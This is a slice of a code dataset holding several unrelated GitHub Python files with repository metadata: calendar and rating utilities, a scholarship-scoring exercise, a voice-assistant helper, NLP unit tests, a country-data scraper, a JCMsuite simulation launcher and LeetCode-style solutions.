print ('add: ', datestr, ' ', short)\n # make/add the calendar event\n e = Event()\n e.name = short\n # e.begin = '2021-01-03 09:00:00'\n e.begin = datestr\n e.make_all_day()\n e.end\n cal.events.add(e)\n\n all_entries.append(short)\n else:\n pass\n #print (\"skip: \", line.rstrip())\n \n #print(line, end='')\n\ncal.events\n\n# {}\n\n# assume we're processing a .txt file\n\noutname = file.replace('txt', 'ics')\n\nwith open(outname, 'w') as f:\n\n f.writelines(cal)","repo_name":"jeffheim/python","sub_path":"gramps/MakeICS.py","file_name":"MakeICS.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30566381537","text":"import datetime as dt\nimport re\nfrom typing import Union\n\nimport numpy as np\nimport pendulum\n\nfrom syaroho_rating.consts import TZ, class_list, graph_colors, table_bg_colors\n\n\n# 最高レーティングから段位を返す関数\ndef classes(rate: float) -> str:\n rate = int(rate)\n if rate >= 2000:\n rate_raw = rate + 1\n rank = max(0, int((4400.0 - rate_raw) / 200.0))\n elif rate >= 400:\n rate_raw = rate\n rank = max(0, int((4400.0 - rate_raw) / 200.0))\n elif rate > 0:\n rate_raw = 400.0 * (1.0 + np.log(rate / 400.0))\n rank = min(31, int((4400.0 - rate_raw) / 200.0))\n else:\n rank = -1\n return class_list[rank]\n\n\n# 最新レーティングから色を返す関数\ndef colors(rate: float) -> str:\n for clr, low_rate, high_rate in graph_colors:\n if low_rate <= rate < high_rate:\n return clr\n return None\n\n\ndef perf_to_color(perf: Union[int, float]) -> np.ndarray:\n for c_def, low_rate, high_rate in table_bg_colors:\n if low_rate <= perf < high_rate:\n return np.array(c_def)\n return None\n\n\n# timedeltaをミリ秒に変換する関数\ndef timedelta_to_ms(delta: dt.timedelta) -> float:\n ms = (delta.days * 86400 + delta.seconds) * 1000 + (\n delta.microseconds / 1000\n )\n return ms\n\n\ndef tweetid_to_datetime(tweetid: str) -> pendulum.DateTime:\n rawtime = pendulum.datetime(1970, 1, 1, tz=\"UTC\") + dt.timedelta(\n milliseconds=int(int(tweetid) / 2**22) + 1288834974657\n )\n return rawtime.in_timezone(\"Asia/Tokyo\")\n\n\ndef datetime_to_tweetid(datetime: pendulum.DateTime) -> str:\n timedelta = datetime.in_timezone(\"UTC\") - pendulum.datetime(\n 1970, 1, 1, tz=\"UTC\"\n )\n tweet_id = (timedelta.total_seconds() * 1000 - 1288834974657) * (2**22)\n return str(int(tweet_id))\n\n\ndef clean_html_tag(text: str) -> str:\n cleanr = re.compile(\"<.*?>\")\n cleantext = re.sub(cleanr, \"\", text)\n return cleantext\n\n\ndef parse_date_string(date_str: str) -> pendulum.DateTime:\n parsed_date = pendulum.parse(date_str, tz=TZ)\n if not isinstance(parsed_date, pendulum.DateTime):\n raise RuntimeError(\n f\"Failed parsing date string to DateTime: {date_str}\"\n )\n return parsed_date\n","repo_name":"YuriChayamachi/syaroho-rating","sub_path":"src/syaroho_rating/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"2850453605","text":"print(\"Registro postulantes del programa 'Becas Desarrollo Sotenible'\\n\")\n\nstr(input(\"Ingrese porfavor el nombre del postulante a la beca\\n\"))\n\netnia= str(input(\"Ingrese porfavor la etnia del postulante. Elija entre:\\n\" \" 1. sin reconocimiento\\n 2. afrodescendiente\\n 3. indigena\\n 4. raizal\\n 5. palenquero\\n 6. gitano\\n\" ))\nestrato= int(input(\"Ingrese porfavor el estrato socioeconomico del postulante. Elija entre los siguientes estratos:\\n\" \" 1. 1\\n 2. 2\\n 3. 3\\n 4. 4\\n 5. 5\\n 6. 6\\n\"))\ningreso= int(input(\"Ingrese porfavor el ingreso economico mensual del nucleo familiar del postulante. Elija enter las siguientes opciones:\\n\" \" 1. 0 - 908525\\n 2. 908526\\n 3. 1817052 - 2725578\\n 4. 3634104\\n 5. 4542630\\n\"))\n\n\n\nif etnia == \"sin reconocimiento\":\n score1= 0\nelif etnia == \"afrodescendiente\":\n score1= 8\nelif etnia == \"indigena\":\n score1= 10\nelif etnia == \"raizal\":\n score1= 12\nelif etnia == \"palenquero\":\n score1= 14\nelif etnia == \"gitano\":\n score1= 16\nelse:\n print(\"Se presento un error\")\n \n \nif estrato == 1:\n score2= 20\nelif estrato == 2:\n score2= 16\nelif estrato == 3:\n score2= 12\nelif estrato == 4:\n score2= 8\nelif estrato == 5:\n score2= 0\nelif estrato == 6:\n score2= 0\nelse:\n print(\"Se presento un error\")\n \n\nif ingreso >= 0 or ingreso < 908526:\n score3= 30\nelif ingreso == 908526:\n score3= 18\nelif ingreso >= 1817052 or ingreso <= 272557:\n score3= 14\nelif ingreso == 3634104:\n score3= 8\nelif ingreso == 4542630:\n score3= 0\nelse:\n print(\"Se presento un error\")\n\nscoret= score1 + score2 + score3\n\n\nif scoret >= 50:\n print(\"El candidato continua en el proceso de seleccion\")\nelse:\n print(\"El candidato no continua en el proceso de seleccion\")","repo_name":"Ang3l1t0/MinTIC","sub_path":"Ciclo1/Ejercicios/prueba.py","file_name":"prueba.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11780998050","text":"\nfrom main_module.common.ultils.commonUltils import *\nimport subprocess\nimport tkinter as tk\nfrom main_module.conf.config_loader import *\nfrom googlesearch import search\nfrom main_module.common.static_var.static_value import *\nfrom main_module.common.static_var.constants import *\nfrom gtts import gTTS\nimport playsound\nimport datetime\nfrom threading import Thread\nimport threading\nimport time\n\ndef printTerminal(self, mode, message):\n if mode == CMD.READ_YES:\n printMessage(self, message)\n if mode == CMD.READ_LISTEN_YES:\n printMessage(self, message)\n speak(message)\n \ndef printMessage(self, message):\n message= '\\n' + message + '\\n'\n self.txt_terminal.insert(tk.END, message)\n self.txt_terminal.see(tk.END)\n self.txt_input.focus()\n self.update()\n \ndef exc_cmd(cmd):\n if not cmd:\n return\n print(\"executing :\"+cmd)\n cmd_res = subprocess.getoutput(cmd) + \"\\n\"\n return cmd_res\n\n\ndef getGgleSearchInPage(searchStr, inPage):\n print(\"gg searching :\"+searchStr)\n search_results = search(searchStr, start = CSearch.DEFAULT_START_RESULT, stop = CSearch.DEFAULT_NUM_RESULT, pause=2)\n url = ''\n for res in search_results:\n print(\"checking url:\" +res)\n if isLinkValid(res, [inPage]):\n url = res\n print(\"opening url:\" +res)\n break\n return url\n\ndef getAllGgleSearchInPageArr(searchStr, inPageArr):\n print(\"gg searching :\"+searchStr)\n search_results = search(searchStr, start = CSearch.DEFAULT_START_RESULT, stop = CSearch.DEFAULT_NUM_RESULT, pause=2)\n urlArr = []\n for res in search_results:\n print(\"checked url:\" +res)\n if isLinkValid(res, inPageArr):\n urlArr.append(res)\n print(\"add url:\" +res)\n break\n return urlArr\n\ndef getArrLinkFromSearch(searchStr):\n print(\"gg searching :\"+searchStr)\n search_results = search(searchStr, start = CSearch.DEFAULT_START_RESULT, stop = CSearch.DEFAULT_NUM_RESULT, pause=2)\n urlArr = []\n for res in search_results:\n urlArr.append(res)\n return urlArr\n \ndef isLinkValid(url, arrPage):\n for page in arrPage:\n if page in url:\n return True\n return False\n\ndef getArrElementCmd(arr, indexArr):\n arrRes = []\n for cmd in arr:\n arrCmd = textToArray(cmd, CKey.CMD_SPLIT_LV_1) \n arrRes.append(arrCmd[indexArr])\n arrRes = list(dict.fromkeys(arrRes))\n print('Arr Element of index: '+ str(indexArr))\n print(arrRes)\n return arrRes\n\ndef isSameTypeCmd(arrCmd):\n arrType = getArrElementCmd(arrCmd, 1)\n return len(arrType) <= 1\n\n # voice\ndef speak(text):\n CSysv = Loader.loadConfig()['CSys']\n CSys.USE_READ = Loader.getPropByKey(CSysv, 'USE_READ')\n \n if CSys.USE_READ == True:\n currThread = threading.enumerate()\n while len(currThread) > 1:\n time.sleep(1)\n currThread = threading.enumerate()\n t1 = threading.Thread(target=speakProcess, args=(text,))\n t1.setName('speaker')\n t1.start()\n \ndef speakProcess(text):\n date_string = datetime.datetime.now().strftime(\"%d%m%Y%H%M%S\")\n filename = \"voice\"+date_string+\".mp3\"\n output = gTTS(text,lang=\"vi\", slow=False)\n output.save(filename)\n playsound.playsound(filename, True)\n os.remove(filename)\n \n#####################################\nimport speech_recognition as sr\nimport pyaudio\ndef listen():\n CSysv = Loader.loadConfig()['CSys']\n CSys.USE_RECOGN_VOICE = Loader.getPropByKey(CSysv, 'USE_RECOGN_VOICE')\n if CSys.USE_RECOGN_VOICE == True:\n t2 = threading.Thread(target=listenProcess)\n t2.setName('listener')\n t2.start()\n \ndef listenProcess():\n init_rec = sr.Recognizer()\n micro = sr.Microphone()\n print(\"Listener is listening...\")\n with micro as source:\n print(\"ewqw\")\n audio_data = init_rec.record(source, duration=5)\n print(\"Recognizing your text.............\")\n text = init_rec.recognize_google(audio_data)\n print(text)\n \n \n \n ","repo_name":"uvsnag/s_bot","sub_path":"main_module/common/ultils/cmdUltils.py","file_name":"cmdUltils.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13281520403","text":"'''from pprint import pprint\nfrom typing import Iterator\n\nmylist=[{'name':'телефон','brand':'realme','price':20000},\n {'name':'ноутбук','brand':'apple','price':35000},\n {'name':'наушники','brand':'jbl','price':3000}]\n\ndef item_price(item):\n return item['price']\n\nprint(sorted(mylist,key=item_price))\n#сортировка по цене\npprint(sorted(mylist,key=lambda item:item['price']))\n\napple_list=list(filter(lambda item:item['brand']=='apple',mylist))\npprint(apple_list)\n\n#позволяет применить действие ко всем элементам\nmylist=['1','2','3','4','5']\nmylist=list(map(int,mylist))\nprint(mylist)'''\n\nnames=['Alyona','Danila','Ira','Ivan']\nsurnames=['Panasenko','Bodrov','Ivanova','Petrov']\n\n'''full_name_list=list(map(lambda name,surname:f'{name} {surname}',names,surnames))\nprint(full_name_list)\n\n#функция позволяет получать не только элемент, но и его индекс\nspisok=[]\nfor i,item in enumerate (mylist):\n spisok.append({i:item})\npprint(spisok)'''\n\nfor name,surname in zip(names,surnames):\n print(name,surname)\n","repo_name":"alenkk06/maximum","sub_path":"8занятие 3м.py","file_name":"8занятие 3м.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11932541716","text":"import unittest\nfrom NLP_Pipeline.NLP_Pipeline import NLP_Pipeline\n\n\n\nclass MyTestCase(unittest.TestCase):\n def test_base_subject_extraction(self):\n pipeline = NLP_Pipeline()\n predicted_subject, _ = pipeline.nlp_get_subject(\"Tell me about Dallas Texas\")\n\n self.assertEqual(predicted_subject, \"Dallas Texas\")\n\n def test_major_subject_extraction(self):\n sentences = [\n (\"show me pics of downtown Dallas.\", \"images\"),\n (\"show me Dallas videos.\", \"videos\"),\n (\"tell me about Dallas.\", \"info\"),\n (\"general info about Dallas.\", \"info\"),\n (\"what is Dallas.\", \"info\"),\n (\"what is the history of Dallas.\", \"info\"),\n (\"when was Dallas Founded.\", \"info\"),\n (\"tell me about Dallas's past.\", \"info\"),\n (\"When was the last slave Freed in Texas?\", \"info\"),\n (\"Things to do in Dallas\", \"info\"),\n (\"site seeing Dallas\", \"info\"),\n (\"Places to go Dallas\", \"info\"),\n (\"Places to eat Dallas\", \"info\"),\n (\"Dallas nightlife\", \"info\"),\n (\"5 start hotels Dallas\", \"info\"),\n (\"Dallas housing\", \"info\"),\n ]\n pipeline = NLP_Pipeline()\n for sentence, major_class in sentences:\n predicted_class, _ = pipeline.nlp_get_major_category(sentence)\n self.assertEqual(predicted_class, major_class)\n\n def test_info_sub_subject_extraction(self):\n sentences = [\n (\"tell me about Dallas.\", \"general\"),\n (\"general info about Dallas.\", \"general\"),\n (\"what is Dallas.\", \"general\"),\n (\"what is the history of Dallas.\", \"history\"),\n (\"when was Dallas Founded.\", \"history\"),\n (\"tell me about Dallas's past.\", \"history\"),\n (\"When was the last slave Freed in Texas?\", \"history\"),\n (\"Things to do in Dallas\", \"tourist\"),\n (\"site seeing Dallas\", \"tourist\"),\n (\"Places to go Dallas\", \"tourist\"),\n (\"Places to eat Dallas\", \"tourist\"),\n (\"Dallas nightlife\", \"tourist\"),\n (\"5 start hotels Dallas\", \"tourist\"),\n (\"Dallas housing\", \"tourist\"),\n ]\n pipeline = NLP_Pipeline()\n for sentence, major_class in sentences:\n predicted_class, _ = pipeline.nlp_get_info_category_strat_multi_point_category(sentence)\n self.assertEqual(predicted_class, major_class)\n def test_pipeline_subject_intent_extraction(self):\n sentences = [\n (\"tell me about Dallas.\", \"general\", \"Dallas\"),\n (\"general info about Dallas.\", \"general\", \"Dallas\"),\n (\"what is Dallas.\", \"general\", \"Dallas\"),\n (\"what is the history of Dallas.\", \"history\", \"Dallas\"),\n (\"when was Dallas founded.\", \"history\", \"Dallas\"),\n (\"tell me about Dallas past.\", \"history\", \"Dallas\"),\n (\"When was the last slave Freed in Texas?\", \"history\", \"Texas\"),\n (\"Things to do in Dallas\", \"tourist\", \"Dallas\"),\n (\"site seeing Dallas\", \"tourist\", \"Dallas\"),\n (\"Places to go Dallas\", \"tourist\", \"Dallas\"),\n (\"Places to eat Dallas\", \"tourist\", \"Dallas\"),\n (\"Dallas nightlife\", \"tourist\", \"Dallas\"),\n (\"5 start hotels Dallas\", \"tourist\", \"Dallas\"),\n (\"Dallas housing\", \"tourist\", \"Dallas\"),\n ]\n pipeline = NLP_Pipeline()\n for sentence, major_class, subject in sentences:\n predicted_subject, predicted_class = pipeline.pipeline(sentence)\n self.assertEqual(predicted_class, major_class)\n self.assertEqual(predicted_subject, subject)\n def test_pipeline_subject_intent_extraction_lowercase(self):\n sentences = [\n (\"tell me about Dallas.\", \"general\", \"Dallas\"),\n (\"general info about Dallas.\", \"general\", \"Dallas\"),\n (\"what is Dallas.\", \"general\", \"Dallas\"),\n (\"what is the history of Dallas.\", \"history\", \"Dallas\"),\n (\"when was Dallas founded.\", \"history\", \"Dallas\"),\n (\"tell me about Dallas past.\", \"history\", \"Dallas\"),\n (\"When was the last slave Freed in Texas?\", \"history\", \"Texas\"),\n (\"Things to do in Dallas\", \"tourist\", \"Dallas\"),\n (\"site seeing Dallas\", \"tourist\", \"Dallas\"),\n (\"Places to go Dallas\", \"tourist\", \"Dallas\"),\n (\"Places to eat Dallas\", \"tourist\", \"Dallas\"),\n (\"Dallas nightlife\", \"tourist\", \"Dallas\"),\n (\"5 start hotels Dallas\", \"tourist\", \"Dallas\"),\n (\"Dallas housing\", \"tourist\", \"Dallas\"),\n ]\n pipeline = NLP_Pipeline()\n for sentence, major_class, subject in sentences:\n sentence = sentence.lower()\n subject = subject.lower()\n predicted_subject, predicted_class = pipeline.pipeline(sentence)\n self.assertEqual(predicted_class, major_class)\n self.assertEqual(predicted_subject, subject)\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"tpoff/WinterHackathon","sub_path":"Python/tests/NLP_Pipeline_Tests.py","file_name":"NLP_Pipeline_Tests.py","file_ext":"py","file_size_in_byte":5047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28259943435","text":"import requests\nfrom concurrent.futures import ThreadPoolExecutor\nimport json\nimport os\n\n\ndef main():\n file_name = 'fixtures/countries_data_with_description.json'\n url = 'https://restcountries.com/v3.1/all'\n response = requests.get(url)\n data = response.json()\n os.makedirs('../static/images/flags', exist_ok=True)\n\n countries_data = []\n\n with ThreadPoolExecutor(max_workers=200) as executor:\n for country in data:\n future = executor.submit(clean_data, country)\n countries_data.append(future.result())\n print(f'{future.result()} was added')\n countries_data = sorted(countries_data, key=lambda name: name['name'])\n\n for country in countries_data:\n future = executor.submit(get_country_description, country['name'])\n country.update({'description': future.result()})\n print(f\"{country['name']} description was added\")\n\n for country in countries_data:\n executor.submit(get_country_flag, country['name'], country['flag'])\n\n with open(file_name, 'w') as json_file:\n json.dump(countries_data, json_file, indent=4)\n\n\ndef get_image_data(url):\n retries = 0\n max_retries = 10\n while retries < max_retries:\n response = requests.get(url)\n if response.ok:\n image_data = response.content\n return image_data\n else:\n retries += 1\n else:\n raise Exception(f\"Received invalid response from url: {url}\")\n\n\ndef get_country_flag(name, url):\n image_data = get_image_data(url)\n image_name = f'{name}.jpeg'\n path = os.path.join('../static/images/flags', image_name)\n with open(path, 'wb') as image_file:\n image_file.write(image_data)\n print(f'{name} was downloaded')\n\n\ndef get_country_description(name):\n url = f'https://en.wikipedia.org/api/rest_v1/page/summary/{name}'\n response = requests.get(url)\n data = response.json()\n description = data['extract']\n\n return description\n\n\ndef clean_data(data):\n new_data = {}\n new_data['name'] = data['name']['common']\n new_data['description'] = ''\n new_data['capital'] = data.get('capital', 'NULL')\n new_data['continent'] = data['continents']\n new_data['flag'] = data['flags']['png']\n new_data['population'] = data['population']\n new_data['languages'] = data.get('languages', 'NULL')\n new_data['currencies'] = data.get('currencies', 'NULL')\n new_data['lat'] = data['latlng'][0]\n new_data['long'] = data['latlng'][1]\n new_data['timezones'] = data['timezones']\n new_data['currencies'] = data.get('currencies', 'NULL')\n\n return new_data\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Igorjano/Languages-of-the-World","sub_path":"el_mundo/get_countries_data.py","file_name":"get_countries_data.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22328568756","text":"#Find quadruplets in array that add up to the targetSum\n\ndef fourNumberSum(a, targetSum):\n\tanswers=[]\n\tn=len(a)\n\ta=sorted(a)\n\tfor i in range(n-3):\n\t\tw=a[i]\n\t\tfor j in range(i+1,n-2):\n\t\t\tx=a[j]\n\t\t\tleft=j+1\n\t\t\tright=n-1\n\t\t\twhile left\n@Software: PyCharm\n\n注意对结果类型的分类,关键点就在于向左走还是向右走\n\n\"\"\"\n\n\nclass Solution:\n def search(self, nums, target):\n l, r = 0, len(nums)-1\n while l <= r:\n mid = (l+r) >> 1\n if nums[mid] == target:\n return mid\n elif nums[mid] > target:\n if target < nums[l] and nums[mid] > nums[r]:\n l = mid + 1\n else:\n r = mid - 1\n else:\n if target > nums[r] and nums[mid] < nums[r]:\n r = mid - 1\n else:\n l = mid + 1\n return -1\n\n\ntest_list = [4,5,6,7,0,1,2]\nval = 0\ntest = Solution()\nresult = test.search(test_list, val)\nprint(result)\n","repo_name":"looking-for-my-magic-bean/leetcode","sub_path":"基础算法/二分搜索-8/search-in-rotated-sorted-array.py","file_name":"search-in-rotated-sorted-array.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28552453944","text":"\"\"\"\nHelper script for starting JCMsuite simulations with the pypmj python package\n\"\"\"\n\nimport os, sys\nimport pypmj as jpy\nfrom pypmj.internals import _config\nimport numpy as np\nimport pickle\nimport pdb\nimport GenKeys\nimport argparse\n\ndef getParser():\n parser = argparse.ArgumentParser(description='Run simulations for dataset and keys combination')\n parser.add_argument('DataSetName',metavar='DataSet',type=str,help ='Name of the current dataset')\n parser.add_argument('--test',action=\"store_true\",help='test the first simulation in the simuset and print the output')\n parser.add_argument('--geo_only',action=\"store_true\",help='test only the meshing')\n parser.add_argument('--convergence',default=None,help='run a convergence test')\n parser.add_argument('--N',default=-1,help='number of threads per process')\n parser.add_argument('--M',default=8,help='multiplicity of threads')\n parser.add_argument('--resource',default='htc027',help='default resource to use')\n parser.add_argument('--project',default='fromLocalFile',help='name of the pypmj project, defulat takes value from a local file called projectname.txt')\n parser.add_argument('--NDemonJobs',default=32,help='number of jobs handed to the daemon')\n parser.add_argument('--WDirMode',default='delete',help='whether to [keep] or [delete] the simulation files')\n parser.add_argument('--Logs',default='delete',help='whether to [keep] or [delete] the log files of simulations')\n parser.add_argument('--ProcessCCosts',default=True,help='whether to hand the computational costs computed via JCMwave to the processing_function')\n parser.add_argument('--ParameterCombination',default='product',help='whether to create simulation set using product of all array variables [product] or each array variable represents a value in a global list [list]')\n parser.add_argument('--SingleSimulation',default=-1,help=\"choose to run a single simulation from the set by giving the simulation number. Default value is -1, meaning all simulations will be run\")\n return parser\n\ndef RemoveSingletons(keys):\n subdicts = ['parameters','geometry']\n for subdict in subdicts:\n for item in keys[subdict].items():\n if type(item[1]) is np.ndarray:\n if item[1].size == 1:\n keys[subdict][item[0]] = item[1][0]\n return keys\n\n\ndef StartScript(args):\n if not args.NDemonJobs == 'all':\n args.NDemonJobs = int(args.NDemonJobs)\n if args.ProcessCCosts == \"True\":\n args.ProcessCCosts = True\n elif args.ProcessCCosts == 'False':\n args.ProcessCCosts = False\n assert( args.ParameterCombination == 'product' or args.ParameterCombination == 'list')\n print(args)\n #print(\"args.ProcessCCosts:{}\".format(args.ProcessCCosts))\n N = int(args.N)\n M = int(args.M)\n if args.geo_only:\n assert args.test==True ,\"option geo_only requires option test\"\n if args.project == 'fromLocalFile':\n with open('projectname.txt','r') as f:\n projectDir = f.readline().rstrip('\\n')\n else:\n #projectDir = os.path.join(\"/home/numerik/bzfmanle/Simulations/pypmj/projects\",args.project)\n projectDir = args.project\n #projectDir = 'scattering/nanopillar_array_blochfamilies'\n #projectDir = 'scattering/photonic_crystals/slabs/hexagonal/half_spaces_BlochFamilies/'\n project = jpy.JCMProject(projectDir)\n\n keys = GenKeys.getKeys(args.DataSetName)\n keys['constants']['dataset_name'] = os.path.splitext(args.DataSetName)[0]\n #keys['constants']['spectra_storage_folder'] += args.DataSetName\n #keys['constants']['field_storage_folder'] += args.DataSetName\n if 'jones_matrix_storage_folder' in keys['constants']:\n keys['constants']['jones_matrix_storage_folder'] += args.DataSetName\n if not os.path.isdir(keys['constants']['jones_matrix_storage_folder']):\n os.makedirs(keys['constants']['jones_matrix_storage_folder'])\n\n if 'pml_log_folder' in keys['constants']:\n keys['constants']['pml_log_folder'] += args.DataSetName\n if not os.path.isdir(keys['constants']['pml_log_folder']):\n os.makedirs(keys['constants']['pml_log_folder'])\n\n \n #if not os.path.isdir(keys['constants']['spectra_storage_folder']):\n # os.makedirs(keys['constants']['spectra_storage_folder'])\n\n if args.ParameterCombination == 'list':\n keys = RemoveSingletons(keys)\n\n simple_keys = jpy.utils.convert_keys(keys)\n #if simple_keys['vacuum_wavelength'] > 1e-5:\n # raise ValueError('vacuum wavelength larger than 10000nm, is this correct?')\n\n from JCMProject_Utils import processing_function\n if args.test:\n import jcmwave as jcm\n fullprojectDir = _config.get('Data','projects') +'/'+ projectDir+'/'\n simple_keys['sim_number'] = 0\n if args.geo_only:\n jcm.jcmt2jcm(fullprojectDir+'layout.jcmt',simple_keys)\n jcm.geo(fullprojectDir,simple_keys)\n jcm.view(fullprojectDir+'/grid.jcm')\n else:\n simple_keys['fem_degree_max'] = simple_keys['fem_degree_min']\n results = jcm.solve(fullprojectDir+'/project.jcmpt',simple_keys,mode='solve')\n #print(results)\n if args.ProcessCCosts:\n df = processing_function(results[0:],simple_keys)\n else:\n df = processing_function(results[1:],simple_keys)\n for item in df.items():\n print(\"{0}:{1}\".format(item[0],item[1]))\n\n elif args.convergence is not None:\n import copy\n keys_test = copy.deepcopy(keys)\n try:\n keys_test['parameters'][args.convergence] = keys_test['parameters'][args.convergence][0:-1]\n except KeyError:\n keys_test['geometry'][args.convergence] = keys_test['geometry'][args.convergence][0:-1]\n keys_ref = copy.deepcopy(keys)\n try:\n keys_ref['parameters'][args.convergence] = keys_ref['parameters'][args.convergence][-1:]\n except KeyError:\n keys_ref['geometry'][args.convergence] = keys_ref['geometry'][args.convergence][-1:]\n ctest = jpy.ConvergenceTest(project,keys_test,keys_ref,duplicate_path_levels=0,storage_folder='FBH_LEDs/'+args.DataSetName)\n ctest.use_only_resources(args.resource)\n ctest.resource_manager.resources.set_m_n_for_all(1,32)\n ctest.make_simulation_schedule()\n ctest.run(N=1,processing_func=processing_function,pass_ccosts_to_processing_func=True)\n test = ['R_1','T_1','I_0','I_1','I_2','I_3','I_4','I_5','I_6','I_7','I_8','I_9']\n ctest.analyze_convergence_results(test,data_ref=df)\n ctest.write_analyzed_data_to_file(file_path='results/'+args.DataSetName+'_Analysis')\n else:\n if args.Logs == 'keep':\n keepLogs = True\n elif args.Logs == 'delete':\n keepLogs =False\n\n if \"storage_base\" in keys['constants']:\n storage_base = keys['constants']['storage_base']\n else:\n storage_base = \"from_config\"\n print(\"args.resource: {}\".format(args.resource))\n if (\"transitional_storage_base\" in keys['constants'] and\n args.resource.startswith(\"z1\")):\n trans_storage_base = keys['constants']['transitional_storage_base']\n print(\"setting trans storage base\")\n else:\n trans_storage_base = None\n\n \n \n simuset = jpy.SimulationSet(project, keys,\n storage_folder=os.path.join(keys['constants']['storage_folder'],args.DataSetName),\n transitional_storage_base=trans_storage_base,\n storage_base=storage_base,\n combination_mode=args.ParameterCombination,\n store_logs=keepLogs,\n check_version_match=False)\n #combination_mode='list'\n resources = args.resource.split(\",\")\n print(\"resources: {}\".format(resources))\n simuset.use_only_resources(resources)\n if N >0:\n simuset.resource_manager.resources.set_m_n_for_all(M,N)\n simuset.make_simulation_schedule()\n import time\n start = time.time()\n if args.SingleSimulation == -1:\n simuset.run(N=args.NDemonJobs,\n processing_func = processing_function,\n pass_ccosts_to_processing_func=args.ProcessCCosts,\n wdir_mode=args.WDirMode,\n auto_rerun_failed=0)\n stop = time.time()\n print(\"Time for all simulations: {}\".format(stop-start))\n else:\n print(\"solving sim {}\".format(args.SingleSimulation))\n simuset.solve_single_simulation(int(args.SingleSimulation),\n processing_func=processing_function,\n wdir_mode=args.WDirMode)\n if simuset.get_store_data() is not None:\n simuset.write_store_data_to_file(file_path='results/'+args.DataSetName+'.csv')\n #simuset.write_store_data_to_file(mode='Excel',file_path='results/'+args.DataSetName+'.xls')\n simuset.close_store()\n\n\nif __name__ == \"__main__\":\n\n args = getParser().parse_args()\n StartScript(args)\n","repo_name":"Gjjring/misc_scripts","sub_path":"SimulationStartScript.py","file_name":"SimulationStartScript.py","file_ext":"py","file_size_in_byte":9326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18217325992","text":"class Solution:\n def recoverArray(self, nums: List[int]) -> List[int]:\n nums = sorted(nums)\n\n def getArray(x: int, count: collections.Counter) -> List[int]:\n A = []\n for num in nums:\n if count[num] == 0:\n continue\n if count[num + x] == 0:\n return []\n count[num] -= 1\n count[num + x] -= 1\n A.append(num + x // 2)\n return A\n\n count = collections.Counter(nums)\n\n for i in range(1, len(nums)):\n x = nums[i] - nums[0] # 2 * k\n if x <= 0 or x & 1:\n continue\n A = getArray(x, count.copy())\n if A:\n return A\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/2122. Recover the Original Array/2122.py","file_name":"2122.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"} +{"seq_id":"14968034645","text":"import torch.nn as nn\nimport torch\n\n\nclass LeNet5(nn.Module):\n def __init__(self):\n self.conv1 = nn.Conv2d(1, 6, 5, 1, 0)\n self.maxpool1 = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(5, 16, 5, 1, 0)\n self.maxpool2 = nn.MaxPool2d(2, 2)\n self.conv3 = nn.Conv2d(16, 120, 5, 1, 0)\n self.fc1 = nn.Linear(120, 84)\n self.fc2 = nn.Linear(84, 10)\n \n def forward(self, x):\n x = self.conv1(x)\n x = self.maxpool1(x)\n x = self.conv2(x)\n x = self.maxpool2(x)\n x = self.conv3(x)\n x = torch.flatten(x, 1)\n x = self.fc1(x)\n x = self.fc2(x)\n return x","repo_name":"gdww97/CNN","sub_path":"codes/LeNet5.py","file_name":"LeNet5.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"71845817652","text":"# 좌 하 좌에서우대각 우에서좌대각\ndy = [0, 1, 1, 1]\ndx = [1, 0, 1, -1]\n\ndef check(y, x):\n i = 0\n while(i < 4):\n ny = y\n nx = x\n for j in range(4):\n ny += dy[i]\n nx += dx[i]\n if ny < 0 or nx < 0 or ny >= n or nx >= n:\n i += 1\n break\n if board[ny][nx] == '.':\n i += 1\n break\n else:\n return 1\n return 0\n\nT = int(input())\nfor testcase in range(1, T + 1):\n n = int(input())\n board = [input() for _ in range(n)]\n ret = 0\n for y in range(n):\n for x in range(n):\n if board[y][x] == 'o':\n ret = check(y, x)\n if ret:\n break\n if ret:\n break\n if ret:\n print('#{} YES'.format(testcase))\n else:\n print('#{} NO'.format(testcase))","repo_name":"xktmxkem/TIL-Today-I-Learn","sub_path":"algorithm/in_class/오목판정.py","file_name":"오목판정.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24060546680","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n# -----------------------------------------\n# My Solution\n#\n# Time Complexity: O(n)\n# Space Complexity: O(n)\n# -----------------------------------------\nclass Solution:\n def isPalindrome(self, head: ListNode) -> bool:\n vals = []\n\n node = head\n while node is not None:\n vals.append(node.val)\n node = node.next\n \n for i in range(len(vals) // 2):\n if vals[i] != vals[len(vals) - 1 - i]:\n return False\n \n return True\n\n# -----------------------------------------\n# Reverse List + Two Pointers\n#\n# Time Complexity: O(n)\n# Space Complexity: O(1)\n# -----------------------------------------\n# Ref: 